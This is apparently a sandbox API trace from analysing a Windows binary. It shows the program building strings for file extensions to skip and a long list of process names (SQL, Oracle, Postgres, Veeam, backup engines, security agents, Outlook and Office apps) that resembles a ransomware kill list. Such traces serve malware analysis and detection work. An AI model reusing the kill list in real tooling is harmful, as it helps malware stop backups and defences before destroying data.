	[0053.971] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="diagcab" | out: DestinationString="diagcab") 
	[0053.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="diagcab", AllocateDestinationString=1 | out: DestinationString="diagcab") returned 0x0
	[0053.971] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x10) returned 0x953be8
	[0053.971] RtlFreeAnsiString (AnsiString="d") 
	[0053.971] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="cmd" | out: DestinationString="cmd") 
	[0053.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="cmd", AllocateDestinationString=1 | out: DestinationString="cmd") returned 0x0
	[0053.971] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954a28
	[0053.971] RtlFreeAnsiString (AnsiString="c") 
	[0053.971] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="spl" | out: DestinationString="spl") 
	[0053.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="spl", AllocateDestinationString=1 | out: DestinationString="spl") returned 0x0
	[0053.971] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954998
	[0053.971] RtlFreeAnsiString (AnsiString="s") 
	[0053.971] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="deskthemepack" | out: DestinationString="deskthemepack") 
	[0053.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="deskthemepack", AllocateDestinationString=1 | out: DestinationString="deskthemepack") returned 0x0
	[0053.971] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1c) returned 0x94edd8
	[0053.971] RtlFreeAnsiString (AnsiString="d") 
	[0053.971] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="bat" | out: DestinationString="bat") 
	[0053.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="bat", AllocateDestinationString=1 | out: DestinationString="bat") returned 0x0
	[0053.971] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954b18
	[0053.971] RtlFreeAnsiString (AnsiString="b") 
	[0053.972] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="themepack" | out: DestinationString="themepack") 
	[0053.972] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="themepack", AllocateDestinationString=1 | out: DestinationString="themepack") returned 0x0
	[0053.972] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x952ee0
	[0053.972] RtlFreeAnsiString (AnsiString="t") 
	[0053.972] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x108) returned 0x944d08
	[0053.972] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="nslsvice.exe" | out: DestinationString="nslsvice.exe") 
	[0053.972] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="nslsvice.exe", AllocateDestinationString=1 | out: DestinationString="nslsvice.exe") returned 0x0
	[0053.972] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1a) returned 0x94efb8
	[0053.972] RtlFreeAnsiString (AnsiString="n") 
	[0053.972] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="pg*" | out: DestinationString="pg*") 
	[0053.972] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="pg*", AllocateDestinationString=1 | out: DestinationString="pg*") returned 0x0
	[0053.972] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954aa8
	[0053.972] RtlFreeAnsiString (AnsiString="p") 
	[0053.972] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="nservice.exe" | out: DestinationString="nservice.exe") 
	[0053.972] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="nservice.exe", AllocateDestinationString=1 | out: DestinationString="nservice.exe") returned 0x0
	[0053.972] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1a) returned 0x94ed88
	[0053.972] RtlFreeAnsiString (AnsiString="n") 
	[0053.972] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="cbvscserv*" | out: DestinationString="cbvscserv*") 
	[0053.972] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="cbvscserv*", AllocateDestinationString=1 | out: DestinationString="cbvscserv*") returned 0x0
	[0053.972] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x952f60
	[0053.972] RtlFreeAnsiString (AnsiString="c") 
	[0053.973] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ntrtscan.exe" | out: DestinationString="ntrtscan.exe") 
	[0053.973] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ntrtscan.exe", AllocateDestinationString=1 | out: DestinationString="ntrtscan.exe") returned 0x0
	[0053.973] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1a) returned 0x94ec98
	[0053.973] RtlFreeAnsiString (AnsiString="n") 
	[0053.973] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="cbservi*" | out: DestinationString="cbservi*") 
	[0053.973] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="cbservi*", AllocateDestinationString=1 | out: DestinationString="cbservi*") returned 0x0
	[0053.973] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x953000
	[0053.973] RtlFreeAnsiString (AnsiString="c") 
	[0053.973] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="hMailServer*" | out: DestinationString="hMailServer*") 
	[0053.973] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="hMailServer*", AllocateDestinationString=1 | out: DestinationString="hMailServer*") returned 0x0
	[0053.973] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1a) returned 0x94ef18
	[0053.973] RtlFreeAnsiString (AnsiString="h") 
	[0053.973] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="IBM*" | out: DestinationString="IBM*") 
	[0053.973] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="IBM*", AllocateDestinationString=1 | out: DestinationString="IBM*") returned 0x0
	[0053.973] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x953e10
	[0053.973] RtlFreeAnsiString (AnsiString="I") 
	[0053.973] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="bes10*" | out: DestinationString="bes10*") 
	[0053.973] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="bes10*", AllocateDestinationString=1 | out: DestinationString="bes10*") returned 0x0
	[0053.973] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x953d20
	[0053.973] RtlFreeAnsiString (AnsiString="b") 
	[0053.973] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="black*" | out: DestinationString="black*") 
	[0053.973] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="black*", AllocateDestinationString=1 | out: DestinationString="black*") returned 0x0
	[0053.973] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x953c90
	[0053.973] RtlFreeAnsiString (AnsiString="b") 
	[0053.973] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="apach*" | out: DestinationString="apach*") 
	[0053.973] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="apach*", AllocateDestinationString=1 | out: DestinationString="apach*") returned 0x0
	[0053.973] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x953e28
	[0053.973] RtlFreeAnsiString (AnsiString="a") 
	[0053.973] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="bd2*" | out: DestinationString="bd2*") 
	[0053.973] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="bd2*", AllocateDestinationString=1 | out: DestinationString="bd2*") returned 0x0
	[0053.973] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x953c18
	[0053.974] RtlFreeAnsiString (AnsiString="b") 
	[0053.974] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="db*" | out: DestinationString="db*") 
	[0053.974] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="db*", AllocateDestinationString=1 | out: DestinationString="db*") returned 0x0
	[0053.974] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9549c8
	[0053.974] RtlFreeAnsiString (AnsiString="d") 
	[0053.974] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ba*" | out: DestinationString="ba*") 
	[0053.974] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ba*", AllocateDestinationString=1 | out: DestinationString="ba*") returned 0x0
	[0053.974] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9549a8
	[0053.974] RtlFreeAnsiString (AnsiString="b") 
	[0053.974] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="be*" | out: DestinationString="be*") 
	[0053.974] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="be*", AllocateDestinationString=1 | out: DestinationString="be*") returned 0x0
	[0053.974] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954a48
	[0053.974] RtlFreeAnsiString (AnsiString="b") 
	[0053.974] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="QB*" | out: DestinationString="QB*") 
	[0053.974] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="QB*", AllocateDestinationString=1 | out: DestinationString="QB*") returned 0x0
	[0053.974] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954978
	[0053.974] RtlFreeAnsiString (AnsiString="Q") 
	[0053.974] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="oracle*" | out: DestinationString="oracle*") 
	[0053.974] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="oracle*", AllocateDestinationString=1 | out: DestinationString="oracle*") returned 0x0
	[0053.974] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x10) returned 0x953bd0
	[0053.974] RtlFreeAnsiString (AnsiString="o") 
	[0053.974] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="wbengine*" | out: DestinationString="wbengine*") 
	[0053.974] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="wbengine*", AllocateDestinationString=1 | out: DestinationString="wbengine*") returned 0x0
	[0053.974] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x953060
	[0053.974] RtlFreeAnsiString (AnsiString="w") 
	[0053.974] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="vee*" | out: DestinationString="vee*") 
	[0053.974] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="vee*", AllocateDestinationString=1 | out: DestinationString="vee*") returned 0x0
	[0053.974] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x953cf0
	[0053.974] RtlFreeAnsiString (AnsiString="v") 
	[0053.974] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="postg*" | out: DestinationString="postg*") 
	[0053.974] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="postg*", AllocateDestinationString=1 | out: DestinationString="postg*") returned 0x0
	[0053.975] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x953b88
	[0053.975] RtlFreeAnsiString (AnsiString="p") 
	[0053.975] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="sage*" | out: DestinationString="sage*") 
	[0053.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="sage*", AllocateDestinationString=1 | out: DestinationString="sage*") returned 0x0
	[0053.975] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x953c30
	[0053.975] RtlFreeAnsiString (AnsiString="s") 
	[0053.975] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="sap*" | out: DestinationString="sap*") 
	[0053.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="sap*", AllocateDestinationString=1 | out: DestinationString="sap*") returned 0x0
	[0053.975] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x953ca8
	[0053.975] RtlFreeAnsiString (AnsiString="s") 
	[0053.975] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="b1*" | out: DestinationString="b1*") 
	[0053.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="b1*", AllocateDestinationString=1 | out: DestinationString="b1*") returned 0x0
	[0053.975] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954b08
	[0053.975] RtlFreeAnsiString (AnsiString="b") 
	[0053.975] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="fdlaunch*" | out: DestinationString="fdlaunch*") 
	[0053.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="fdlaunch*", AllocateDestinationString=1 | out: DestinationString="fdlaunch*") returned 0x0
	[0053.975] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x953160
	[0053.975] RtlFreeAnsiString (AnsiString="f") 
	[0053.975] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="msmdsrv*" | out: DestinationString="msmdsrv*") 
	[0053.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="msmdsrv*", AllocateDestinationString=1 | out: DestinationString="msmdsrv*") returned 0x0
	[0053.975] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x953080
	[0053.975] RtlFreeAnsiString (AnsiString="m") 
	[0053.975] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="report*" | out: DestinationString="report*") 
	[0053.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="report*", AllocateDestinationString=1 | out: DestinationString="report*") returned 0x0
	[0053.975] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x10) returned 0x953d50
	[0053.975] RtlFreeAnsiString (AnsiString="r") 
	[0053.975] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="msdtssr*" | out: DestinationString="msdtssr*") 
	[0053.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="msdtssr*", AllocateDestinationString=1 | out: DestinationString="msdtssr*") returned 0x0
	[0053.975] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x952dc0
	[0053.976] RtlFreeAnsiString (AnsiString="m") 
	[0053.976] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="coldfus*" | out: DestinationString="coldfus*") 
	[0053.976] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="coldfus*", AllocateDestinationString=1 | out: DestinationString="coldfus*") returned 0x0
	[0053.976] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x953040
	[0053.976] RtlFreeAnsiString (AnsiString="c") 
	[0053.976] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="cfdot*" | out: DestinationString="cfdot*") 
	[0053.976] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="cfdot*", AllocateDestinationString=1 | out: DestinationString="cfdot*") returned 0x0
	[0053.976] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x953d38
	[0053.976] RtlFreeAnsiString (AnsiString="c") 
	[0053.976] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="swag*" | out: DestinationString="swag*") 
	[0053.976] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="swag*", AllocateDestinationString=1 | out: DestinationString="swag*") returned 0x0
	[0053.976] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x953dc8
	[0053.976] RtlFreeAnsiString (AnsiString="s") 
	[0053.976] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="swstrtr*" | out: DestinationString="swstrtr*") 
	[0053.976] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="swstrtr*", AllocateDestinationString=1 | out: DestinationString="swstrtr*") returned 0x0
	[0053.976] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x952fc0
	[0053.976] RtlFreeAnsiString (AnsiString="s") 
	[0053.976] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="jetty.exe" | out: DestinationString="jetty.exe") 
	[0053.976] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="jetty.exe", AllocateDestinationString=1 | out: DestinationString="jetty.exe") returned 0x0
	[0053.976] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x952de0
	[0053.976] RtlFreeAnsiString (AnsiString="j") 
	[0053.976] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="wrsa.exe" | out: DestinationString="wrsa.exe") 
	[0053.976] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="wrsa.exe", AllocateDestinationString=1 | out: DestinationString="wrsa.exe") returned 0x0
	[0053.976] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x952e60
	[0053.976] RtlFreeAnsiString (AnsiString="w") 
	[0053.976] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="team*" | out: DestinationString="team*") 
	[0053.976] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="team*", AllocateDestinationString=1 | out: DestinationString="team*") returned 0x0
	[0053.976] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x953ba0
	[0053.976] RtlFreeAnsiString (AnsiString="t") 
	[0053.976] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="agent*" | out: DestinationString="agent*") 
	[0053.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="agent*", AllocateDestinationString=1 | out: DestinationString="agent*") returned 0x0
	[0053.977] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x953d68
	[0053.977] RtlFreeAnsiString (AnsiString="a") 
	[0053.977] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="store.exe" | out: DestinationString="store.exe") 
	[0053.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="store.exe", AllocateDestinationString=1 | out: DestinationString="store.exe") returned 0x0
	[0053.977] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x952e80
	[0053.977] RtlFreeAnsiString (AnsiString="s") 
	[0053.977] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="sql*" | out: DestinationString="sql*") 
	[0053.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="sql*", AllocateDestinationString=1 | out: DestinationString="sql*") returned 0x0
	[0053.977] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x953d80
	[0053.977] RtlFreeAnsiString (AnsiString="s") 
	[0053.977] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="sqbcoreservice.exe" | out: DestinationString="sqbcoreservice.exe") 
	[0053.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="sqbcoreservice.exe", AllocateDestinationString=1 | out: DestinationString="sqbcoreservice.exe") returned 0x0
	[0053.977] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x26) returned 0x947d20
	[0053.977] RtlFreeAnsiString (AnsiString="s") 
	[0053.977] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="thunderbird.exe" | out: DestinationString="thunderbird.exe") 
	[0053.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="thunderbird.exe", AllocateDestinationString=1 | out: DestinationString="thunderbird.exe") returned 0x0
	[0053.977] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x20) returned 0x94ef90
	[0053.977] RtlFreeAnsiString (AnsiString="t") 
	[0053.977] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ocssd.exe" | out: DestinationString="ocssd.exe") 
	[0053.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ocssd.exe", AllocateDestinationString=1 | out: DestinationString="ocssd.exe") returned 0x0
	[0053.977] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x952f20
	[0053.977] RtlFreeAnsiString (AnsiString="o") 
	[0053.977] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="encsvc.exe" | out: DestinationString="encsvc.exe") 
	[0053.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="encsvc.exe", AllocateDestinationString=1 | out: DestinationString="encsvc.exe") returned 0x0
	[0053.977] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x952ea0
	[0053.977] RtlFreeAnsiString (AnsiString="e") 
	[0053.977] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="excel.exe" | out: DestinationString="excel.exe") 
	[0053.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="excel.exe", AllocateDestinationString=1 | out: DestinationString="excel.exe") returned 0x0
	[0053.977] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x953020
	[0053.978] RtlFreeAnsiString (AnsiString="e") 
	[0053.978] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="synctime.exe" | out: DestinationString="synctime.exe") 
	[0053.978] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="synctime.exe", AllocateDestinationString=1 | out: DestinationString="synctime.exe") returned 0x0
	[0053.978] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1a) returned 0x94f0d0
	[0053.978] RtlFreeAnsiString (AnsiString="s") 
	[0053.978] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="mspub.exe" | out: DestinationString="mspub.exe") 
	[0053.978] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="mspub.exe", AllocateDestinationString=1 | out: DestinationString="mspub.exe") returned 0x0
	[0053.978] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x952ec0
	[0053.978] RtlFreeAnsiString (AnsiString="m") 
	[0053.978] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ocautoupds.exe" | out: DestinationString="ocautoupds.exe") 
	[0053.978] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ocautoupds.exe", AllocateDestinationString=1 | out: DestinationString="ocautoupds.exe") returned 0x0
	[0053.978] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1e) returned 0x94f058
	[0053.978] RtlFreeAnsiString (AnsiString="o") 
	[0053.978] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="thebat.exe" | out: DestinationString="thebat.exe") 
	[0053.978] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="thebat.exe", AllocateDestinationString=1 | out: DestinationString="thebat.exe") returned 0x0
	[0053.978] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x952f80
	[0053.978] RtlFreeAnsiString (AnsiString="t") 
	[0053.978] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="dbeng50.exe" | out: DestinationString="dbeng50.exe") 
	[0053.978] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="dbeng50.exe", AllocateDestinationString=1 | out: DestinationString="dbeng50.exe") returned 0x0
	[0053.978] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952fa0
	[0053.978] RtlFreeAnsiString (AnsiString="d") 
	[0053.978] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*sql*" | out: DestinationString="*sql*") 
	[0053.978] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*sql*", AllocateDestinationString=1 | out: DestinationString="*sql*") returned 0x0
	[0053.978] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x953d98
	[0053.978] RtlFreeAnsiString (AnsiString="*") 
	[0053.978] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="mydesktopservice.exe" | out: DestinationString="mydesktopservice.exe") 
	[0053.978] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="mydesktopservice.exe", AllocateDestinationString=1 | out: DestinationString="mydesktopservice.exe") returned 0x0
	[0053.978] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x2a) returned 0x94e778
	[0053.978] RtlFreeAnsiString (AnsiString="m") 
	[0053.979] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="onenote.exe" | out: DestinationString="onenote.exe") 
	[0053.979] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="onenote.exe", AllocateDestinationString=1 | out: DestinationString="onenote.exe") returned 0x0
	[0053.979] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952fe0
	[0053.979] RtlFreeAnsiString (AnsiString="o") 
	[0053.979] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="outlook.exe" | out: DestinationString="outlook.exe") 
	[0053.979] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="outlook.exe", AllocateDestinationString=1 | out: DestinationString="outlook.exe") returned 0x0
	[0053.979] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9530a0
	[0053.979] RtlFreeAnsiString (AnsiString="o") 
	[0053.979] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="powerpnt.exe" | out: DestinationString="powerpnt.exe") 
	[0053.979] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="powerpnt.exe", AllocateDestinationString=1 | out: DestinationString="powerpnt.exe") returned 0x0
	[0053.979] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1a) returned 0x94f080
	[0053.979] RtlFreeAnsiString (AnsiString="p") 
	[0053.979] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="msaccess.exe" | out: DestinationString="msaccess.exe") 
	[0053.979] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="msaccess.exe", AllocateDestinationString=1 | out: DestinationString="msaccess.exe") returned 0x0
	[0053.979] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1a) returned 0x94ed38
	[0053.979] RtlFreeAnsiString (AnsiString="m") 
	[0053.979] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="tbirdconfig.exe" | out: DestinationString="tbirdconfig.exe") 
	[0053.979] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="tbirdconfig.exe", AllocateDestinationString=1 | out: DestinationString="tbirdconfig.exe") returned 0x0
	[0053.979] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x20) returned 0x94efe0
	[0053.979] RtlFreeAnsiString (AnsiString="t") 
	[0053.979] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="wordpad.exe" | out: DestinationString="wordpad.exe") 
	[0053.979] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="wordpad.exe", AllocateDestinationString=1 | out: DestinationString="wordpad.exe") returned 0x0
	[0053.979] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9530e0
	[0053.979] RtlFreeAnsiString (AnsiString="w") 
	[0053.979] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ocomm.exe" | out: DestinationString="ocomm.exe") 
	[0053.979] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ocomm.exe", AllocateDestinationString=1 | out: DestinationString="ocomm.exe") returned 0x0
	[0053.979] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x9530c0
	[0053.979] RtlFreeAnsiString (AnsiString="o") 
	[0053.979] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="dbsnmp.exe" | out: DestinationString="dbsnmp.exe") 
	[0053.979] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="dbsnmp.exe", AllocateDestinationString=1 | out: DestinationString="dbsnmp.exe") returned 0x0
	[0053.979] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x953120
	[0053.980] RtlFreeAnsiString (AnsiString="d") 
	[0053.980] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="thebat64.exe" | out: DestinationString="thebat64.exe") 
	[0053.980] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="thebat64.exe", AllocateDestinationString=1 | out: DestinationString="thebat64.exe") returned 0x0
	[0053.980] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1a) returned 0x94f0a8
	[0053.980] RtlFreeAnsiString (AnsiString="t") 
